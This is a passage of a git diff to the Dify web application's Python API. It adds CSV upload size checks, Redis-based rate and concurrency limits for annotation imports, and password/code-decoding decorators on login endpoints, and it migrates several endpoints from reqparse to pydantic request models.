         if not file.filename or not file.filename.lower().endswith(".csv"):
             raise ValueError("Invalid file type. Only CSV files are allowed")
+
+        # Check file size before processing
+        file.seek(0, 2)  # Seek to end of file
+        file_size = file.tell()
+        file.seek(0)  # Reset to beginning
+
+        max_size_bytes = dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT * 1024 * 1024
+        if file_size > max_size_bytes:
+            abort(
+                413,
+                f"File size exceeds maximum limit of {dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT}MB. "
+                f"Please reduce the file size and try again.",
+            )
+
+        if file_size == 0:
+            raise ValueError("The uploaded file is empty")
+
         return AppAnnotationService.batch_import_app_annotations(app_id, file)
 
 
diff --git a/api/controllers/console/app/workflow_trigger.py b/api/controllers/console/app/workflow_trigger.py
index 5d16e4f979..9433b732e4 100644
--- a/api/controllers/console/app/workflow_trigger.py
+++ b/api/controllers/console/app/workflow_trigger.py
@@ -114,7 +114,7 @@ class AppTriggersApi(Resource):
 
 @console_ns.route("/apps/<uuid:app_id>/trigger-enable")
 class AppTriggerEnableApi(Resource):
-    @console_ns.expect(console_ns.models[ParserEnable.__name__], validate=True)
+    @console_ns.expect(console_ns.models[ParserEnable.__name__])
     @setup_required
     @login_required
     @account_initialization_required
diff --git a/api/controllers/console/auth/login.py b/api/controllers/console/auth/login.py
index f486f4c313..772d98822e 100644
--- a/api/controllers/console/auth/login.py
+++ b/api/controllers/console/auth/login.py
@@ -22,7 +22,12 @@ from controllers.console.error import (
     NotAllowedCreateWorkspace,
     WorkspacesLimitExceeded,
 )
-from controllers.console.wraps import email_password_login_enabled, setup_required
+from controllers.console.wraps import (
+    decrypt_code_field,
+    decrypt_password_field,
+    email_password_login_enabled,
+    setup_required,
+)
 from events.tenant_event import tenant_was_created
 from libs.helper import EmailStr, extract_remote_ip
 from libs.login import current_account_with_tenant
@@ -79,6 +84,7 @@ class LoginApi(Resource):
     @setup_required
     @email_password_login_enabled
     @console_ns.expect(console_ns.models[LoginPayload.__name__])
+    @decrypt_password_field
     def post(self):
         """Authenticate user and login."""
         args = LoginPayload.model_validate(console_ns.payload)
@@ -218,6 +224,7 @@ class EmailCodeLoginSendEmailApi(Resource):
 class EmailCodeLoginApi(Resource):
     @setup_required
     @console_ns.expect(console_ns.models[EmailCodeLoginPayload.__name__])
+    @decrypt_code_field
     def post(self):
         args = EmailCodeLoginPayload.model_validate(console_ns.payload)
 
diff --git a/api/controllers/console/datasets/data_source.py b/api/controllers/console/datasets/data_source.py
index 01f268d94d..cd958bbb36 100644
--- a/api/controllers/console/datasets/data_source.py
+++ b/api/controllers/console/datasets/data_source.py
@@ -140,6 +140,18 @@ class DataSourceNotionListApi(Resource):
         credential_id = request.args.get("credential_id", default=None, type=str)
         if not credential_id:
             raise ValueError("Credential id is required.")
+
+        # Get datasource_parameters from query string (optional, for GitHub and other datasources)
+        datasource_parameters_str = request.args.get("datasource_parameters", default=None, type=str)
+        datasource_parameters = {}
+        if datasource_parameters_str:
+            try:
+                datasource_parameters = json.loads(datasource_parameters_str)
+                if not isinstance(datasource_parameters, dict):
+                    raise ValueError("datasource_parameters must be a JSON object.")
+            except json.JSONDecodeError:
+                raise ValueError("Invalid datasource_parameters JSON format.")
+
         datasource_provider_service = DatasourceProviderService()
         credential = datasource_provider_service.get_datasource_credentials(
             tenant_id=current_tenant_id,
@@ -187,7 +199,7 @@ class DataSourceNotionListApi(Resource):
             online_document_result: Generator[OnlineDocumentPagesMessage, None, None] = (
                 datasource_runtime.get_online_document_pages(
                     user_id=current_user.id,
-                    datasource_parameters={},
+                    datasource_parameters=datasource_parameters,
                     provider_type=datasource_runtime.datasource_provider_type(),
                 )
             )
@@ -218,14 +230,14 @@ class DataSourceNotionListApi(Resource):
 
 
 @console_ns.route(
-    "/notion/workspaces/<uuid:workspace_id>/pages/<uuid:page_id>/<string:page_type>/preview",
+    "/notion/pages/<uuid:page_id>/<string:page_type>/preview",
     "/datasets/notion-indexing-estimate",
 )
 class DataSourceNotionApi(Resource):
     @setup_required
     @login_required
     @account_initialization_required
-    def get(self, workspace_id, page_id, page_type):
+    def get(self, page_id, page_type):
         _, current_tenant_id = current_account_with_tenant()
 
         credential_id = request.args.get("credential_id", default=None, type=str)
@@ -239,11 +251,10 @@ class DataSourceNotionApi(Resource):
             plugin_id="langgenius/notion_datasource",
         )
 
-        workspace_id = str(workspace_id)
         page_id = str(page_id)
 
         extractor = NotionExtractor(
-            notion_workspace_id=workspace_id,
+            notion_workspace_id="",
             notion_obj_id=page_id,
             notion_page_type=page_type,
             notion_access_token=credential.get("integration_secret"),
diff --git a/api/controllers/console/datasets/datasets.py b/api/controllers/console/datasets/datasets.py
index 70b6e932e9..8ceb896d4f 100644
--- a/api/controllers/console/datasets/datasets.py
+++ b/api/controllers/console/datasets/datasets.py
@@ -146,7 +146,7 @@ class DatasetUpdatePayload(BaseModel):
     embedding_model: str | None = None
     embedding_model_provider: str | None = None
     retrieval_model: dict[str, Any] | None = None
-    partial_member_list: list[str] | None = None
+    partial_member_list: list[dict[str, str]] | None = None
     external_retrieval_model: dict[str, Any] | None = None
     external_knowledge_id: str | None = None
     external_knowledge_api_id: str | None = None
@@ -223,6 +223,7 @@ def _get_retrieval_methods_by_vector_type(vector_type: str | None, is_mock: bool
         VectorType.COUCHBASE,
         VectorType.OPENGAUSS,
         VectorType.OCEANBASE,
+        VectorType.SEEKDB,
         VectorType.TABLESTORE,
         VectorType.HUAWEI_CLOUD,
         VectorType.TENCENT,
@@ -230,6 +231,7 @@ def _get_retrieval_methods_by_vector_type(vector_type: str | None, is_mock: bool
         VectorType.CLICKZETTA,
         VectorType.BAIDU,
         VectorType.ALIBABACLOUD_MYSQL,
+        VectorType.IRIS,
     }
 
     semantic_methods = {"retrieval_method": [RetrievalMethod.SEMANTIC_SEARCH.value]}
diff --git a/api/controllers/console/datasets/rag_pipeline/datasource_content_preview.py b/api/controllers/console/datasets/rag_pipeline/datasource_content_preview.py
index 42387557d6..7caf5b52ed 100644
--- a/api/controllers/console/datasets/rag_pipeline/datasource_content_preview.py
+++ b/api/controllers/console/datasets/rag_pipeline/datasource_content_preview.py
@@ -26,7 +26,7 @@ console_ns.schema_model(Parser.__name__, Parser.model_json_schema(ref_template=D
 
 @console_ns.route("/rag/pipelines/<uuid:pipeline_id>/workflows/published/datasource/nodes/<string:node_id>/preview")
 class DataSourceContentPreviewApi(Resource):
-    @console_ns.expect(console_ns.models[Parser.__name__], validate=True)
+    @console_ns.expect(console_ns.models[Parser.__name__])
     @setup_required
     @login_required
     @account_initialization_required
diff --git a/api/controllers/console/datasets/rag_pipeline/rag_pipeline_workflow.py b/api/controllers/console/datasets/rag_pipeline/rag_pipeline_workflow.py
index debe8eed97..46d67f0581 100644
--- a/api/controllers/console/datasets/rag_pipeline/rag_pipeline_workflow.py
+++ b/api/controllers/console/datasets/rag_pipeline/rag_pipeline_workflow.py
@@ -4,7 +4,7 @@ from typing import Any, Literal, cast
 from uuid import UUID
 
 from flask import abort, request
-from flask_restx import Resource, marshal_with  # type: ignore
+from flask_restx import Resource, marshal_with, reqparse  # type: ignore
 from pydantic import BaseModel, Field
 from sqlalchemy.orm import Session
 from werkzeug.exceptions import Forbidden, InternalServerError, NotFound
@@ -975,6 +975,11 @@ class RagPipelineRecommendedPluginApi(Resource):
     @login_required
     @account_initialization_required
     def get(self):
+        parser = reqparse.RequestParser()
+        parser.add_argument("type", type=str, location="args", required=False, default="all")
+        args = parser.parse_args()
+        type = args["type"]
+
         rag_pipeline_service = RagPipelineService()
-        recommended_plugins = rag_pipeline_service.get_recommended_plugins()
+        recommended_plugins = rag_pipeline_service.get_recommended_plugins(type)
         return recommended_plugins
diff --git a/api/controllers/console/explore/completion.py b/api/controllers/console/explore/completion.py
index 5901eca915..a6e5b2822a 100644
--- a/api/controllers/console/explore/completion.py
+++ b/api/controllers/console/explore/completion.py
@@ -40,7 +40,7 @@ from .. import console_ns
 logger = logging.getLogger(__name__)
 
 
-class CompletionMessagePayload(BaseModel):
+class CompletionMessageExplorePayload(BaseModel):
     inputs: dict[str, Any]
     query: str = ""
     files: list[dict[str, Any]] | None = None
@@ -71,7 +71,7 @@ class ChatMessagePayload(BaseModel):
             raise ValueError("must be a valid UUID") from exc
 
 
-register_schema_models(console_ns, CompletionMessagePayload, ChatMessagePayload)
+register_schema_models(console_ns, CompletionMessageExplorePayload, ChatMessagePayload)
 
 
 # define completion api for user
@@ -80,13 +80,13 @@ register_schema_models(console_ns, CompletionMessagePayload, ChatMessagePayload)
     endpoint="installed_app_completion",
 )
 class CompletionApi(InstalledAppResource):
-    @console_ns.expect(console_ns.models[CompletionMessagePayload.__name__])
+    @console_ns.expect(console_ns.models[CompletionMessageExplorePayload.__name__])
     def post(self, installed_app):
         app_model = installed_app.app
         if app_model.mode != AppMode.COMPLETION:
             raise NotCompletionAppError()
 
-        payload = CompletionMessagePayload.model_validate(console_ns.payload or {})
+        payload = CompletionMessageExplorePayload.model_validate(console_ns.payload or {})
         args = payload.model_dump(exclude_none=True)
 
         streaming = payload.response_mode == "streaming"
diff --git a/api/controllers/console/tag/tags.py b/api/controllers/console/tag/tags.py
index 17cfc3ff4b..e9fbb515e4 100644
--- a/api/controllers/console/tag/tags.py
+++ b/api/controllers/console/tag/tags.py
@@ -1,31 +1,40 @@
+from typing import Literal
+
 from flask import request
-from flask_restx import Resource, marshal_with, reqparse
+from flask_restx import Resource, marshal_with
+from pydantic import BaseModel, Field
 from werkzeug.exceptions import Forbidden
 
+from controllers.common.schema import register_schema_models
 from controllers.console import console_ns
 from controllers.console.wraps import account_initialization_required, edit_permission_required, setup_required
 from fields.tag_fields import dataset_tag_fields
 from libs.login import current_account_with_tenant, login_required
-from models.model import Tag
 from services.tag_service import TagService
 
 
-def _validate_name(name):
-    if not name or len(name) < 1 or len(name) > 50:
-        raise ValueError("Name must be between 1 to 50 characters.")
-    return name
+class TagBasePayload(BaseModel):
+    name: str = Field(description="Tag name", min_length=1, max_length=50)
+    type: Literal["knowledge", "app"] | None = Field(default=None, description="Tag type")
 
 
-parser_tags = (
-    reqparse.RequestParser()
-    .add_argument(
-        "name",
-        nullable=False,
-        required=True,
-        help="Name must be between 1 to 50 characters.",
-        type=_validate_name,
-    )
-    .add_argument("type", type=str, location="json", choices=Tag.TAG_TYPE_LIST, nullable=True, help="Invalid tag type.")
+class TagBindingPayload(BaseModel):
+    tag_ids: list[str] = Field(description="Tag IDs to bind")
+    target_id: str = Field(description="Target ID to bind tags to")
+    type: Literal["knowledge", "app"] | None = Field(default=None, description="Tag type")
+
+
+class TagBindingRemovePayload(BaseModel):
+    tag_id: str = Field(description="Tag ID to remove")
+    target_id: str = Field(description="Target ID to unbind tag from")
+    type: Literal["knowledge", "app"] | None = Field(default=None, description="Tag type")
+
+
+register_schema_models(
+    console_ns,
+    TagBasePayload,
+    TagBindingPayload,
+    TagBindingRemovePayload,
 )
 
 
@@ -43,7 +52,7 @@ class TagListApi(Resource):
 
         return tags, 200
 
-    @console_ns.expect(parser_tags)
+    @console_ns.expect(console_ns.models[TagBasePayload.__name__])
     @setup_required
     @login_required
     @account_initialization_required
@@ -53,22 +62,17 @@ class TagListApi(Resource):
         if not (current_user.has_edit_permission or current_user.is_dataset_editor):
             raise Forbidden()
 
-        args = parser_tags.parse_args()
-        tag = TagService.save_tags(args)
+        payload = TagBasePayload.model_validate(console_ns.payload or {})
+        tag = TagService.save_tags(payload.model_dump())
 
         response = {"id": tag.id, "name": tag.name, "type": tag.type, "binding_count": 0}
 
         return response, 200
 
 
-parser_tag_id = reqparse.RequestParser().add_argument(
-    "name", nullable=False, required=True, help="Name must be between 1 to 50 characters.", type=_validate_name
-)
-
-
 @console_ns.route("/tags/<uuid:tag_id>")
 class TagUpdateDeleteApi(Resource):
-    @console_ns.expect(parser_tag_id)
+    @console_ns.expect(console_ns.models[TagBasePayload.__name__])
     @setup_required
     @login_required
     @account_initialization_required
@@ -79,8 +83,8 @@ class TagUpdateDeleteApi(Resource):
         if not (current_user.has_edit_permission or current_user.is_dataset_editor):
             raise Forbidden()
 
-        args = parser_tag_id.parse_args()
-        tag = TagService.update_tags(args, tag_id)
+        payload = TagBasePayload.model_validate(console_ns.payload or {})
+        tag = TagService.update_tags(payload.model_dump(), tag_id)
 
         binding_count = TagService.get_tag_binding_count(tag_id)
 
@@ -100,17 +104,9 @@ class TagUpdateDeleteApi(Resource):
         return 204
 
 
-parser_create = (
-    reqparse.RequestParser()
-    .add_argument("tag_ids", type=list, nullable=False, required=True, location="json", help="Tag IDs is required.")
-    .add_argument("target_id", type=str, nullable=False, required=True, location="json", help="Target ID is required.")
-    .add_argument("type", type=str, location="json", choices=Tag.TAG_TYPE_LIST, nullable=True, help="Invalid tag type.")
-)
-
-
 @console_ns.route("/tag-bindings/create")
 class TagBindingCreateApi(Resource):
-    @console_ns.expect(parser_create)
+    @console_ns.expect(console_ns.models[TagBindingPayload.__name__])
     @setup_required
     @login_required
     @account_initialization_required
@@ -120,23 +116,15 @@ class TagBindingCreateApi(Resource):
         if not (current_user.has_edit_permission or current_user.is_dataset_editor):
             raise Forbidden()
 
-        args = parser_create.parse_args()
-        TagService.save_tag_binding(args)
+        payload = TagBindingPayload.model_validate(console_ns.payload or {})
+        TagService.save_tag_binding(payload.model_dump())
 
         return {"result": "success"}, 200
 
 
-parser_remove = (
-    reqparse.RequestParser()
-    .add_argument("tag_id", type=str, nullable=False, required=True, help="Tag ID is required.")
-    .add_argument("target_id", type=str, nullable=False, required=True, help="Target ID is required.")
-    .add_argument("type", type=str, location="json", choices=Tag.TAG_TYPE_LIST, nullable=True, help="Invalid tag type.")
-)
-
-
 @console_ns.route("/tag-bindings/remove")
 class TagBindingDeleteApi(Resource):
-    @console_ns.expect(parser_remove)
+    @console_ns.expect(console_ns.models[TagBindingRemovePayload.__name__])
     @setup_required
     @login_required
     @account_initialization_required
@@ -146,7 +134,7 @@ class TagBindingDeleteApi(Resource):
         if not (current_user.has_edit_permission or current_user.is_dataset_editor):
             raise Forbidden()
 
-        args = parser_remove.parse_args()
-        TagService.delete_tag_binding(args)
+        payload = TagBindingRemovePayload.model_validate(console_ns.payload or {})
+        TagService.delete_tag_binding(payload.model_dump())
 
         return {"result": "success"}, 200
diff --git a/api/controllers/console/workspace/models.py b/api/controllers/console/workspace/models.py
index a5b45ef514..2def57ed7b 100644
--- a/api/controllers/console/workspace/models.py
+++ b/api/controllers/console/workspace/models.py
@@ -282,9 +282,10 @@ class ModelProviderModelCredentialApi(Resource):
                 tenant_id=tenant_id, provider_name=provider
             )
         else:
-            model_type = args.model_type
+            # Normalize model_type to the origin value stored in DB (e.g., "text-generation" for LLM)
+            normalized_model_type = args.model_type.to_origin_model_type()
             available_credentials = model_provider_service.provider_manager.get_provider_model_available_credentials(
-                tenant_id=tenant_id, provider_name=provider, model_type=model_type, model_name=args.model
+                tenant_id=tenant_id, provider_name=provider, model_type=normalized_model_type, model_name=args.model
             )
 
         return jsonable_encoder(
diff --git a/api/controllers/console/workspace/plugin.py b/api/controllers/console/workspace/plugin.py
index c5624e0fc2..805058ba5a 100644
--- a/api/controllers/console/workspace/plugin.py
+++ b/api/controllers/console/workspace/plugin.py
@@ -46,8 +46,8 @@ class PluginDebuggingKeyApi(Resource):
 
 
 class ParserList(BaseModel):
-    page: int = Field(default=1)
-    page_size: int = Field(default=256)
+    page: int = Field(default=1, ge=1, description="Page number")
+    page_size: int = Field(default=256, ge=1, le=256, description="Page size (1-256)")
 
 
 reg(ParserList)
@@ -106,8 +106,8 @@ class ParserPluginIdentifierQuery(BaseModel):
 
 
 class ParserTasks(BaseModel):
-    page: int
-    page_size: int
+    page: int = Field(default=1, ge=1, description="Page number")
+    page_size: int = Field(default=256, ge=1, le=256, description="Page size (1-256)")
 
 
 class ParserMarketplaceUpgrade(BaseModel):
diff --git a/api/controllers/console/wraps.py b/api/controllers/console/wraps.py
index f40f566a36..95fc006a12 100644
--- a/api/controllers/console/wraps.py
+++ b/api/controllers/console/wraps.py
@@ -9,10 +9,12 @@ from typing import ParamSpec, TypeVar
 from flask import abort, request
 
 from configs import dify_config
+from controllers.console.auth.error import AuthenticationFailedError, EmailCodeError
 from controllers.console.workspace.error import AccountNotInitializedError
 from enums.cloud_plan import CloudPlan
 from extensions.ext_database import db
 from extensions.ext_redis import redis_client
+from libs.encryption import FieldEncryption
 from libs.login import current_account_with_tenant
 from models.account import AccountStatus
 from models.dataset import RateLimitLog
@@ -25,6 +27,14 @@ from .error import NotInitValidateError, NotSetupError, UnauthorizedAndForceLogo
 P = ParamSpec("P")
 R = TypeVar("R")
 
+# Field names for decryption
+FIELD_NAME_PASSWORD = "password"
+FIELD_NAME_CODE = "code"
+
+# Error messages for decryption failures
+ERROR_MSG_INVALID_ENCRYPTED_DATA = "Invalid encrypted data"
+ERROR_MSG_INVALID_ENCRYPTED_CODE = "Invalid encrypted code"
+
 
 def account_initialization_required(view: Callable[P, R]):
     @wraps(view)
@@ -331,3 +341,163 @@ def is_admin_or_owner_required(f: Callable[P, R]):
         return f(*args, **kwargs)
 
     return decorated_function
+
+
+def annotation_import_rate_limit(view: Callable[P, R]):
+    """
+    Rate limiting decorator for annotation import operations.
+
+    Implements sliding window rate limiting with two tiers:
+    - Short-term: Configurable requests per minute (default: 5)
+    - Long-term: Configurable requests per hour (default: 20)
+
+    Uses Redis ZSET for distributed rate limiting across multiple instances.
+    """
+
+    @wraps(view)
+    def decorated(*args: P.args, **kwargs: P.kwargs):
+        _, current_tenant_id = current_account_with_tenant()
+        current_time = int(time.time() * 1000)
+
+        # Check per-minute rate limit
+        minute_key = f"annotation_import_rate_limit:{current_tenant_id}:1min"
+        redis_client.zadd(minute_key, {current_time: current_time})
+        redis_client.zremrangebyscore(minute_key, 0, current_time - 60000)
+        minute_count = redis_client.zcard(minute_key)
+        redis_client.expire(minute_key, 120)  # 2 minutes TTL
+
+        if minute_count > dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE:
+            abort(
+                429,
+                f"Too many annotation import requests. Maximum {dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE} "
+                f"requests per minute allowed. Please try again later.",
+            )
+
+        # Check per-hour rate limit
+        hour_key = f"annotation_import_rate_limit:{current_tenant_id}:1hour"
+        redis_client.zadd(hour_key, {current_time: current_time})
+        redis_client.zremrangebyscore(hour_key, 0, current_time - 3600000)
+        hour_count = redis_client.zcard(hour_key)
+        redis_client.expire(hour_key, 7200)  # 2 hours TTL
+
+        if hour_count > dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR:
+            abort(
+                429,
+                f"Too many annotation import requests. Maximum {dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR} "
+                f"requests per hour allowed. Please try again later.",
+            )
+
+        return view(*args, **kwargs)
+
+    return decorated
+
+
+def annotation_import_concurrency_limit(view: Callable[P, R]):
+    """
+    Concurrency control decorator for annotation import operations.
+
+    Limits the number of concurrent import tasks per tenant to prevent
+    resource exhaustion and ensure fair resource allocation.
+
+    Uses Redis ZSET to track active import jobs with automatic cleanup
+    of stale entries (jobs older than 2 minutes).
+    """
+
+    @wraps(view)
+    def decorated(*args: P.args, **kwargs: P.kwargs):
+        _, current_tenant_id = current_account_with_tenant()
+        current_time = int(time.time() * 1000)
+
+        active_jobs_key = f"annotation_import_active:{current_tenant_id}"
+
+        # Clean up stale entries (jobs that should have completed or timed out)
+        stale_threshold = current_time - 120000  # 2 minutes ago
+        redis_client.zremrangebyscore(active_jobs_key, 0, stale_threshold)
+
+        # Check current active job count
+        active_count = redis_client.zcard(active_jobs_key)
+
+        if active_count >= dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT:
+            abort(
+                429,
+                f"Too many concurrent import tasks. Maximum {dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT} "
+                f"concurrent imports allowed per workspace. Please wait for existing imports to complete.",
+            )
+
+        # Allow the request to proceed
+        # The actual job registration will happen in the service layer
+        return view(*args, **kwargs)
+
+    return decorated
+
+
+def _decrypt_field(field_name: str, error_class: type[Exception], error_message: str) -> None:
+    """
+    Helper to decode a Base64 encoded field in the request payload.
+
+    Args:
+        field_name: Name of the field to decode
+        error_class: Exception class to raise on decoding failure
+        error_message: Error message to include in the exception
+    """
+    if not request or not request.is_json:
+        return
+    # Get the payload dict - it's cached and mutable
+    payload = request.get_json()
+    if not payload or field_name not in payload:
+        return
+    encoded_value = payload[field_name]
+    decoded_value = FieldEncryption.decrypt_field(encoded_value)
+
+    # If decoding failed, raise error immediately
+    if decoded_value is None:
+        raise error_class(error_message)
+
+    # Update payload dict in-place with decoded value
+    # Since payload is a mutable dict and get_json() returns the cached reference,
+    # modifying it will affect all subsequent accesses including console_ns.payload
+    payload[field_name] = decoded_value
+
+
+def decrypt_password_field(view: Callable[P, R]):
+    """
+    Decorator to decrypt password field in request payload.
+
+    Automatically decrypts the 'password' field if encryption is enabled.
+    If decryption fails, raises AuthenticationFailedError.
+
+    Usage:
+        @decrypt_password_field
+        def post(self):
+            args = LoginPayload.model_validate(console_ns.payload)
+            # args.password is now decrypted
+    """
+
+    @wraps(view)
+    def decorated(*args: P.args, **kwargs: P.kwargs):
+        _decrypt_field(FIELD_NAME_PASSWORD, AuthenticationFailedError, ERROR_MSG_INVALID_ENCRYPTED_DATA)
+        return view(*args, **kwargs)
+
+    return decorated
+
+
+def decrypt_code_field(view: Callable[P, R]):
+    """
+    Decorator to decrypt verification code field in request payload.
+
+    Automatically decrypts the 'code' field if encryption is enabled.
+    If decryption fails, raises EmailCodeError.
+
+    Usage:
+        @decrypt_code_field
+        def post(self):
+            args = EmailCodeLoginPayload.model_validate(console_ns.payload)
+            # args.code is now decrypted
+    """
+
+    @wraps(view)
+    def decorated(*args: P.args, **kwargs: P.kwargs):
+        _decrypt_field(FIELD_NAME_CODE, EmailCodeError, ERROR_MSG_INVALID_ENCRYPTED_CODE)
+        return view(*args, **kwargs)
+
+    return decorated
diff --git a/api/controllers/service_api/app/completion.py b/api/controllers/service_api/app/completion.py
index b7fb01c6fe..b3836f3a47 100644
--- a/api/controllers/service_api/app/completion.py
+++ b/api/controllers/service_api/app/completion.py
@@ -61,6 +61,9 @@ class ChatRequestPayload(BaseModel):
     @classmethod
     def normalize_conversation_id(cls, value: str | UUID | None) -> str | None:
         """Allow missing or blank conversation IDs; enforce UUID format when provided."""
+        if isinstance(value, str):
+            value = value.strip()
+
         if not value:
             return None
 
diff --git a/api/controllers/service_api/dataset/dataset.py b/api/controllers/service_api/dataset/dataset.py
index 7692aeed23..4f91f40c55 100644
--- a/api/controllers/service_api/dataset/dataset.py
+++ b/api/controllers/service_api/dataset/dataset.py
@@ -49,7 +49,7 @@ class DatasetUpdatePayload(BaseModel):
     embedding_model: str | None = None
     embedding_model_provider: str | None = None
     retrieval_model: RetrievalModel | None = None
-    partial_member_list: list[str] | None = None
+    partial_member_list: list[dict[str, str]] | None = None
     external_retrieval_model: dict[str, Any] | None = None
     external_knowledge_id: str | None = None
     external_knowledge_api_id: str | None = None
diff --git a/api/controllers/trigger/trigger.py b/api/controllers/trigger/trigger.py
index e69b22d880..c10b94050c 100644
--- a/api/controllers/trigger/trigger.py
+++ b/api/controllers/trigger/trigger.py
@@ -33,7 +33,7 @@ def trigger_endpoint(endpoint_id: str):
             if response:
                 break
         if not response:
-            logger.error("Endpoint not found for {endpoint_id}")
+            logger.info("Endpoint not found for %s", endpoint_id)
             return jsonify({"error": "Endpoint not found"}), 404
         return response
     except ValueError as e:
diff --git a/api/controllers/web/audio.py b/api/controllers/web/audio.py
index b9fef48c4d..15828cc208 100644
--- a/api/controllers/web/audio.py
+++ b/api/controllers/web/audio.py
@@ -1,7 +1,8 @@
 import logging
 
 from flask import request
-from flask_restx import fields, marshal_with, reqparse
+from flask_restx import fields, marshal_with
+from pydantic import BaseModel, field_validator
 from werkzeug.exceptions import InternalServerError
 
 import services
@@ -20,6 +21,7 @@ from controllers.web.error import (
 from controllers.web.wraps import WebApiResource
 from core.errors.error import ModelCurrentlyNotSupportError, ProviderTokenNotInitError, QuotaExceededError
 from core.model_runtime.errors.invoke import InvokeError
+from libs.helper import uuid_value
 from models.model import App
 from services.audio_service import AudioService
 from services.errors.audio import (
@@ -29,6 +31,25 @@ from services.errors.audio import (
     UnsupportedAudioTypeServiceError,
 )
 
+from ..common.schema import register_schema_models
+
+
+class TextToAudioPayload(BaseModel):
+    message_id: str | None = None
+    voice: str | None = None
+    text: str | None = None
+    streaming: bool | None = None
+
+    @field_validator("message_id")
+    @classmethod
+    def validate_message_id(cls, value: str | None) -> str | None:
+        if value is None:
+            return value
+        return uuid_value(value)
+
+
+register_schema_models(web_ns, TextToAudioPayload)
+
 logger = logging.getLogger(__name__)
 
 
@@ -88,6 +109,7 @@ class AudioApi(WebApiResource):
 
 @web_ns.route("/text-to-audio")
 class TextApi(WebApiResource):
+    @web_ns.expect(web_ns.models[TextToAudioPayload.__name__])
     @web_ns.doc("Text to Audio")
     @web_ns.doc(description="Convert text to audio using text-to-speech service.")
     @web_ns.doc(
@@ -102,18 +124,11 @@ class TextApi(WebApiResource):
     def post(self, app_model: App, end_user):
         """Convert text to audio"""
         try:
-            parser = (
-                reqparse.RequestParser()
-                .add_argument("message_id", type=str, required=False, location="json")
-                .add_argument("voice", type=str, location="json")
-                .add_argument("text", type=str, location="json")
-                .add_argument("streaming", type=bool, location="json")
-            )
-            args = parser.parse_args()
+            payload = TextToAudioPayload.model_validate(web_ns.payload or {})
 
-            message_id = args.get("message_id", None)
-            text = args.get("text", None)
-            voice = args.get("voice", None)
+            message_id = payload.message_id
+            text = payload.text
+            voice = payload.voice
             response = AudioService.transcript_tts(
                 app_model=app_model, text=text, voice=voice, end_user=end_user.external_user_id, message_id=message_id
             )
diff --git a/api/controllers/web/completion.py b/api/controllers/web/completion.py
index e8a4698375..a97d745471 100644
--- a/api/controllers/web/completion.py
+++ b/api/controllers/web/completion.py
@@ -1,9 +1,11 @@
 import logging
+from typing import Any, Literal
 
-from flask_restx import reqparse
+from pydantic import BaseModel, Field, field_validator
 from werkzeug.exceptions import InternalServerError, NotFound
 
 import services
+from controllers.common.schema import register_schema_models
 from controllers.web import web_ns
 from controllers.web.error import (
     AppUnavailableError,
@@ -34,25 +36,44 @@ from services.errors.llm import InvokeRateLimitError
 logger = logging.getLogger(__name__)
 
 
+class CompletionMessagePayload(BaseModel):
+    inputs: dict[str, Any] = Field(description="Input variables for the completion")
+    query: str = Field(default="", description="Query text for completion")
+    files: list[dict[str, Any]] | None = Field(default=None, description="Files to be processed")
+    response_mode: Literal["blocking", "streaming"] | None = Field(
+        default=None, description="Response mode: blocking or streaming"
+    )
+    retriever_from: str = Field(default="web_app", description="Source of retriever")
+
+
+class ChatMessagePayload(BaseModel):
+    inputs: dict[str, Any] = Field(description="Input variables for the chat")
+    query: str = Field(description="User query/message")
+    files: list[dict[str, Any]] | None = Field(default=None, description="Files to be processed")
+    response_mode: Literal["blocking", "streaming"] | None = Field(
+        default=None, description="Response mode: blocking or streaming"
+    )
+    conversation_id: str | None = Field(default=None, description="Conversation ID")
+    parent_message_id: str | None = Field(default=None, description="Parent message ID")
+    retriever_from: str = Field(default="web_app", description="Source of retriever")
+
+    @field_validator("conversation_id", "parent_message_id")
+    @classmethod
+    def validate_uuid(cls, value: str | None) -> str | None:
+        if value is None:
+            return value
+        return uuid_value(value)
+
+
+register_schema_models(web_ns, CompletionMessagePayload, ChatMessagePayload)
+
+
 # define completion api for user
 @web_ns.route("/completion-messages")
 class CompletionApi(WebApiResource):
     @web_ns.doc("Create Completion Message")
     @web_ns.doc(description="Create a completion message for text generation applications.")
-    @web_ns.doc(
-        params={
-            "inputs": {"description": "Input variables for the completion", "type": "object", "required": True},
-            "query": {"description": "Query text for completion", "type": "string", "required": False},
-            "files": {"description": "Files to be processed", "type": "array", "required": False},
-            "response_mode": {
-                "description": "Response mode: blocking or streaming",
-                "type": "string",
-                "enum": ["blocking", "streaming"],
-                "required": False,
-            },
-            "retriever_from": {"description": "Source of retriever", "type": "string", "required": False},
-        }
-    )
+    @web_ns.expect(web_ns.models[CompletionMessagePayload.__name__])
     @web_ns.doc(
         responses={
             200: "Success",
@@ -67,18 +88,10 @@ class CompletionApi(WebApiResource):
         if app_model.mode != AppMode.COMPLETION:
             raise NotCompletionAppError()
 
-        parser = (
-            reqparse.RequestParser()
-            .add_argument("inputs", type=dict, required=True, location="json")
-            .add_argument("query", type=str, location="json", default="")
-            .add_argument("files", type=list, required=False, location="json")
-            .add_argument("response_mode", type=str, choices=["blocking", "streaming"], location="json")
-            .add_argument("retriever_from", type=str, required=False, default="web_app", location="json")
-        )
+        payload = CompletionMessagePayload.model_validate(web_ns.payload or {})
+        args = payload.model_dump(exclude_none=True)
 
-        args = parser.parse_args()
-
-        streaming = args["response_mode"] == "streaming"
+        streaming = payload.response_mode == "streaming"
         args["auto_generate_name"] = False
 
         try:
@@ -142,22 +155,7 @@ class CompletionStopApi(WebApiResource):
 class ChatApi(WebApiResource):
     @web_ns.doc("Create Chat Message")
     @web_ns.doc(description="Create a chat message for conversational applications.")
-    @web_ns.doc(
-        params={
-            "inputs": {"description": "Input variables for the chat", "type": "object", "required": True},
-            "query": {"description": "User query/message", "type": "string", "required": True},
-            "files": {"description": "Files to be processed", "type": "array", "required": False},
-            "response_mode": {
-                "description": "Response mode: blocking or streaming",
-                "type": "string",
-                "enum": ["blocking", "streaming"],
-                "required": False,
-            },
-            "conversation_id": {"description": "Conversation UUID", "type": "string", "required": False},
-            "parent_message_id": {"description": "Parent message UUID", "type": "string", "required": False},
-            "retriever_from": {"description": "Source of retriever", "type": "string", "required": False},
